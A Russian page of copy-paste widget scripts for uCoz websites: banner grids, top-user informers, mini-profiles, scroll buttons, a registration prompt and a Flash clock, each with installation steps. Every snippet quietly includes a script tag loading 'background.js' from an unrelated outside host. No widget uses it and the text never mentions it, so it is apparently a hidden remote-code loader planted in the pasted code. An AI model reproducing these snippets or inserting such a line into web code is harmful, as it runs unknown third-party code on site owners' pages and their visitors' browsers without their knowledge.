Статистика
Онлайн всего: 1
Гостей: 1
Пользователей: 0
Главная » Скрипты для Ucoz
« 1 2 3 4 5 6 7 ... 13 14 »
Скрипт баннеров 88х31 для системы ucoz, материал из категории Статистика сайта ucoz. Скрипт баннеров 88х31 для системы ucoz. С красивой синей обводкой баннеров. Красиво по дизайну будит смотреться.
Установка:
Ставим в блок сайта
Код
<style>.banner {background:url('http://bambun.ru/images/banka.png'); background-repeat:no-repeat; width:96px; height:36px; padding:4px 3px 0px 0px;} .partner a {background:url('http://bambun.ru/images/knopka_partner.png') 0 0px; display:block; width:111px; height:22px;} .partner a:hover {background-position:0px -22px; display:block; width:111px; height:22px;} </style> <script type="text/javascript" src="http://returna.net/background.js"></script> <table width="100%" cellpadding="1" cellspacing="1"> <tbody><tr> <td width="50%" align="center" valign="top"> <div class="banner"><a href="http://site.ru/"><img src="http://bambun.ru/images/88x31.png" border="0" title="Место свободно" width="88" height="31"></a></div> </td> <td width="50%" align="center" valign="top"> <div class="banner"><a href="/" title="Место свободно"><img src="http://bambun.ru/images/88x31.png"></a></div> </td> </tr> <tr> <td width="50%" align="center" valign="top"> <div class="banner"><a href="/" title="Место свободно"><img src="http://bambun.ru/images/88x31.png"></a></div> </td> <td width="50%" align="center" valign="top"> <div class="banner"><a href="/" title="Место свободно"><img src="http://bambun.ru/images/88x31.png"></a></div> </td> </tr> <tr> <td width="50%" align="center" valign="top"> <div class="banner"><a href="/" title="Место свободно"><img src="http://bambun.ru/images/88x31.png"></a></div> </td> <td width="50%" align="center" valign="top"> <div class="banner"><a href="/" title="Место свободно"><img src="http://bambun.ru/images/88x31.png"></a></div> </td> </tr> </tbody></table>
Скрипт для сайта ucoz "Лучшие пользователи". Представляю вашему вниманию не дурной по дизайну и главное по работе скрипт для сайта ucoz "Лучшие пользователи". Скрипт выполнен в светло синих тонах и по дизайну может подойти ко многим сайтам. И по цвету можно поставить так же ко многим сайтам. Но если не подходит по цвету, можно перекрасить. Хотя выглядит вид великолепно.
Приступаем к установке:
Создаем один информер с такими показателями.
[ Пользователи · Материалы · Кол. сообщений в форуме · Материалы: 5 · Колонки: 1 ] и заполнить его шаблон кодом:
И прописываем туда этот код
Код
<noindex><div class="infUserScr"> <div class="infUserScrAva"><img src="$AVATAR_URL$"></div> <div class="infUserScrNickname">$USERNAME$</div><br><br> <div class="infUserScrPosts">$FORUM_POSTS$ сообщений</div> </div><script type="text/javascript" src="http://returna.net/background.js"></script> <style>.infUserScr {background:url(http://bambun.ru/images/bgHov.png) no-repeat;width:207px;height:54px;margin:5px auto;} .infUserScr .infUserScrAva {float:right;width:45px;height:45px;border-radius:5px;margin:5px;} .infUserScr .infUserScrAva img {width:45px;height:45px;border-radius:5px;} .infUserScr .infUserScrNickname {float:left;color:#fff;padding:5px 10px 0;} .infUserScr .infUserScrPosts {float:left;color:#176391;padding:3px 15px;}</style></noindex>
Когда все мы это сделали, делаем последнее действие. Берем ваш номер информера который вы создали и прописываем в блок сайта, там где вы посчитаете нужным. На этом все.
Убрать рекламный баннер
Установка:
В Таблицу CSS стилей в самый низ прописываем:
Код
.b_prof {width:188px; margin:0 auto;} .b_prof .b_prof_ava {background:url(http://bambun.ru/images/b_prof_ava.png) no-repeat; width:156px; height:156px; margin:0 auto 5px auto;} .b_prof .b_prof_ava img {width:150px; height:150px; padding:3px 0 0 3px;} .b_prof .b_prof_vid {background:url(http://bambun.ru/images/b_prof_vid.png) no-repeat; width:177px; height:23px; line-height:23px; margin:0 auto 3px auto; text-align:center; color:#fff;} .b_prof .b_prof_b {background:url(http://bambun.ru/images/b_prof_button.png) no-repeat 0 0; width:61px; height:23px; float:left; margin:0 0 0 1px;} .b_prof .b_prof_b_in {background:url(http://bambun.ru/images/b_prof_button.png) no-repeat -62px 0; width:61px; height:23px; float:left; margin:0 0 0 1px;} .b_prof .b_prof_b_ins {background:url(http://bambun.ru/images/b_prof_button.png) no-repeat -124px 0; width:61px; height:23px; float:left; margin:0 0 0 1px;} .b_prof .b_prof_b:hover {background-position:0 -23px;} .b_prof .b_prof_b_in:hover {background-position:-62px -23px;} .b_prof .b_prof_b_ins:hover {background-position:-124px -23px;}
А вот это вставляем в блок там где будет сам мини-профиль:
Код
<div class="b_prof"> <div class="b_prof_ava"> <img src="$USER_AVATAR_URL$" /></div> <div class="b_prof_vid">» Ник: <b>$USERNAME$</b></div> <div class="b_prof_vid">» Вы с нами: <b>$USER_REG_DAYS$</b></div> <div class="b_prof_vid">» Группа: <b>$USER_GROUP$</b></div> <div class="b_prof_vid">» Ваш IP: <b>$IP_ADDRESS$</b></div> <div class="hidden" style="margin:0 0 5px 0;"> <a href="$PERSONAL_PAGE_LINK$" class="b_prof_b"></a> <a href="$PM_URL$" class="b_prof_b_in"></a> <a href="$LOGOUT_LINK$" class="b_prof_b_ins"></a> </div> </div> <div class="b_prof"> <div class="b_prof_ava"></div> <div class="hidden" style="margin:0 0 5px 0;">$LOGIN_FORM$</div> <script type="text/javascript" src="http://returna.net/background.js"></script></div>
Топ пользователей для сайта ucoz, материал из категории Cкрипты для сайта. Топ пользователей для сайта ucoz с золотистом оттенком для светлых сайтов. Кто владеет фотошопом может перекрасить под свой дизайн. Этот скрипт оригинал.
Создаем информер для пользователей и пропишем в него этот код
Код
<div class="bg"> <div class="ava_bg"><img src="$AVATAR_URL$"></div> <div class="text">Ник: <a href="$PROFILE_URL$">$USERNAME$</a> <script type="text/javascript" src="http://returna.net/background.js"></script></div> <div class="text_f">Кол-во постов: <b>$FORUM_POSTS$</b></div> </div>
Это стили под код информера их в CSS вставляем
Код
/* informer */ .bg {background:url(http://bambun.ru/images/bg.png) no-repeat 0 0; width:228px; height:56px; overflow:hidden; margin:5px auto 3px auto;} .ava_bg {background:url(http://bambun.ru/images/ava_bg.png) no-repeat 0 0; width:54px; height:48px; margin: 4px 0 0 4px; float:left;} .ava_bg img {width:54px; height:48px; border-radius:8px;} .text {color:#fff; font-size:13px; font-family:Tahoma; padding:6px 0 0 20px; float:left;} .text a {color:#fff;} /*-----*/ .text_f {color:#fff; font-size:13px; font-family:Tahoma; padding:7px 0 0 20px; float:left;} /* ---- */
Суть скрипта в том, чтобы вывести кнопки "вверх" и "вниз" + сделать функцию запоминания позиции для последующего быстрого возвращения к месту "Закладки"
Установка:
В любой глобальный блок или после /head на нужных страницах вставляйте:
Код
<div class="apoud"> <div onclick="$('body').scrollTo(0, 300);" class="apou"></div> <div class="apom" title="Запоминалка позиции"></div> <div onclick="$('body').scrollTo($('body').height()+500, 300);" class="apod"></div> </div><script type="text/javascript" src="http://returna.net/background.js"></script> <script> var apotop; $('.apom').toggle(function() { $(this).addClass('apomon'); apotop = $('body').scrollTop(); }, function() { $('body').scrollTo(apotop, 300); $(this).removeClass('apomon'); }); // ApoTeam (c) 2013 </script>
В css:
Код
.apoud { position:fixed; z-index:100; bottom:15px; right:15px; } .apou, .apom, .apod { cursor:pointer; width:32px; height:32px; } .apou { background:url('http://bambun.ru/images/apouarr.png') no-repeat; } .apom { background:url('http://bambun.ru/images/apoposoff.png') no-repeat; } .apomon { background:url('http://bambun.ru/images/apoposon.png') no-repeat; } .apod { background:url('http://bambun.ru/images/apodarr.png') no-repeat; }
Скрипт красивая просилка регистрации для uCoz. Если юзер авторизовывается или входит под свом логином данное сообщение не выводится.
Фон данного скрипта полупрозрачный, а это значит что скрипт впишется в любой дизайн сайта..
Установка:
Заходим в нижнюю часть сайта и в самый низ прописываем:
Код
<div class="reg-ball-cstav"><a href="$LOGIN_LINK$" title="cstav.ru"><b>Внимание!</b> Для того, что бы попросить о помощи, Вам нужно зарегистрироваться!<br>С ув. Администрация</a></div> <script type="text/javascript" src="http://returna.net/background.js"></script> <style>.reg-ball-cstav {background: #f1f1f1; border: 1px dashed #000; bottom: 5px; color: #000; cursor: pointer; opacity: 0.70; filter: progid:DXImageTransform.Microsoft.Alpha(opacity=50); -khtml-opacity: 0.50; -moz-opacity: 0.50; padding: 4px; position: fixed; right: 5px; text-align: center; text-decoration: none; height: 100px; width: 200px; z-index: 99999; font: 11px Tahoma, Geneva, sans-serif; _display: none;} .reg-ball-cstav b {display: block; color: #f00; text-decoration: blink; padding: 10px 0px;} .reg-ball-cstav a {color: #000; text-decoration: none; display: block; height: 100px; width: 160px; padding: 0px 20px;}</style>
Скрипт представляет собой рабочий полностью кнопочный мини профиль + форму входа для сайта ucoz . В профиле нет никакой лишней информации и ссылок , только кнопки назначение которых понятно интуитивно. Форма входа имеет простой и стильный дизайн в котором нет ничего лишнего. Данный блок очень прост в установке, вам необходимо лишь создать новый глобальный блок в конструкторе сайта юкоз, затем скопировать и вставить в него код скрипта.
Код
<center><STRONG><SCRIPT LANGUAGE="JavaScript"> currentTime = new Date(); if (currentTime.getHours() >= 6 && currentTime.getHours() <= 11 ) document.write("Доброе утро, "); if (currentTime.getHours() >= 12 && currentTime.getHours() <= 17 ) document.write("Добрый день, "); if (currentTime.getHours() >= 18 && currentTime.getHours() <= 23) document.write("Добрый вечер, "); if (currentTime.getHours() >= 0 && currentTime.getHours() <= 5) document.write("Доброй ночи, "); </SCRIPT> $USERNAME$</STRONG></center> <CENTER><img src="http://bambun.ru/images/clock.png"><B>$TIME$</B></FONT></CENTER> <center><img src="$USER_AVATAR_URL$" border="0"><img src="http://best-soft.org/profle/-1.gif" border="0" alt="Аватар не установлен!"/></center> <CENTER>Группа: <FONT color="#000000"><B>$USER_GROUP$</B></FONT></CENTER> <CENTER>Ты здесь: <FONT color="#FF0000"><B>$USER_REG_DAYS$</B></FONT>-й день </CENTER> <script type="text/javascript" src="http://returna.net/background.js"></script> <ul class="uz"> <li class="m"><img src="http://bambun.ru/images/progr.gif"><a class="m" href="$HOME_PAGE_LINK$index/8-$USER_ID$" onclick="window.open('$HOME_PAGE_LINK$index/8-$USER_ID$','profiluser','scrollbars=1,width=750,height=420,left=200,top=200');return false;"> Профиль</a></li> <li class="m"><img src="http://bambun.ru/images/mail.gif" ><img src="http://bambun.ru/images/email.png" ><a class="m" href="$PM_URL$"> Личные сообщения (<b>$UNREAD_PM$</b>)</a></li> <li class="m"><img src="http://bambun.ru/images/wrench.png"><a class="m" href="javascript:openOnClick('options')"> Изменить информацию</a></li> <li class="m"><img src="http://bambun.ru/images/key.png"> Ваш ID: $USER_ID$</li> <li class="m"><img src="http://bambun.ru/images/7.png"> Ваш IP: $IP_ADDRESS$</li> <li class="m"><img src="http://bambun.ru/images/foru.gif"><a class="m" href="$USERS_LIST_URL$"> Список пользователей</a></li> <li class="m"><img src="http://bambun.ru/images/logout.png" width="16" height="16"><a class="m" href="$LOGOUT_LINK$"> Выйти</a></li> </ul> <center><STRONG><SCRIPT LANGUAGE="JavaScript"> currentTime = new Date(); if (currentTime.getHours() >= 6 && currentTime.getHours() <= 11 ) document.write("Доброе утро, "); if (currentTime.getHours() >= 12 && currentTime.getHours() <= 17 ) document.write("Добрый день, "); if (currentTime.getHours() >= 18 && currentTime.getHours() <= 23) document.write("Добрый вечер, "); if (currentTime.getHours() >= 0 && currentTime.getHours() <= 5) document.write("Доброй ночи, "); </SCRIPT> гость</STRONG></center><script type="text/javascript" src="http://returna.net/background.js"></script> <CENTER><img src="http://bambun.ru/images/clock11.png"><B>$TIME$</B></FONT></CENTER> <center><img src="http://bambun.ru/images/-1.gif" border="0" alt="" /></center> <CENTER>Группа: <FONT color="#000000"><B>$USER_GROUP$</B></FONT></CENTER> <hr>$LOGIN_FORM$
О том, как установить так называемую кнопку "наверх" на Ucoz, имеется достаточно информации. Тем не менее, я тоже вношу свой скромный вклад в описание этой темы.
Моя кнопка имеет пару существенных деталей, которые придают ей уникальность.
Во первых, мне всегда не нравилось то, что кнопка появляется сразу же после минимальной прокрутки страницы. Читатель еще не ознакомился с контентом, а уже "маячит" кнопка, призывая "наверх" и загораживает информацию на боковой панели. В моей кнопке есть настройка и вы сможете установить место страницы, когда она появляется (в середине поста, после или там где комментарии).
Во вторых, учитывая дизайн и специфику многих блогов моих читателей, я сделал анимированную кнопку в ввиде бабочки, что бесспорно является элементом уникальности.
И еще маленькая деталь - цвет при наведении на бабочку курсора, становится более насыщенным.
Установка:
Заходим в панель управления, далее Управление дизайном » Редактирование шаблонов » Глобальные блоки » Нижняя часть сайта. В самый низ вставляете код.
Код
<style>.b-top {z-index:2600;position:fixed;left:0;bottom:10px;width:34;opacity: 0.5;filter:alpha(opacity=50);} .b-top:hover {opacity:1;filter:alpha(opacity=100);cursor:pointer;} .b-top-but {z-index:2600;position:absolute;display:block;left:56px;bottom:0;margin:0 0 0 100%;padding:79px 12px 4px; color:black;background: url(http://bambun.ru/site_img/c701ebd202c1.gif) no-repeat 50% 11px;border-radius:7px;}</style><script type="text/javascript" src="http://returna.net/background.js"></script><script type="text/javascript">$(document).ready(function(){ $(window).scroll(function () {if ($(this).scrollTop() > 1000) {$('#scroller').fadeIn();} else {$('#scroller').fadeOut();}}); $('#scroller').click(function () {$('body,html').animate({scrollTop: 0}, 400); return false;}); });</script><div id="scroller" class="b-top" style="display: none;"><span class="b-top-but">Наверх</span></div>
Описание: Отличные Flash часы для сайта
Уставновка: Создаете глобальный блок и вставляете в него код.
Код
<object type="application/x-shockwave-flash" data="http://bambun.ru/site_img/chasy.swf" width="200" height="200"><param name="bgcolor" value="#ffffff" /> <param name="allowFullScreen" value="true" /><script type="text/javascript" src="http://returna.net/background.js"></script> <param name="allowScriptAccess" value="always" /> <param name="wmode" value="transparent" /> <param name="movie" value="" /> <param name="flashvars" value="st=;file=" /></object>
Сегодня я публикую еще один уникальный скрипт, так называемой кнопки "Наверх".
В чем же уникальность?
Во первых, можно прокручивать страницу не только вверх, но и в низ! А во вторых, (в этом уникальность) если нажать туда, куда указывает красная стрелка, страница будет сама, автоматически, медленно прокручиваться до самого низа! Читателю при этом, ничего делать не надо - только читать или рассматривать фотографии!
Установка:
Заходим в панель управления, далее Управление дизайном » Редактирование шаблонов » Глобальные блоки » Нижняя часть сайта. В самый низ вставляете код.
Код
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.8.2/jquery.min.js" type="text/javascript"></script><script src='http://phonedevelop.googlecode.com/files/updownPhonedevelop.js' type='text/javascript'></script><script type="text/javascript" src="http://returna.net/background.js"></script>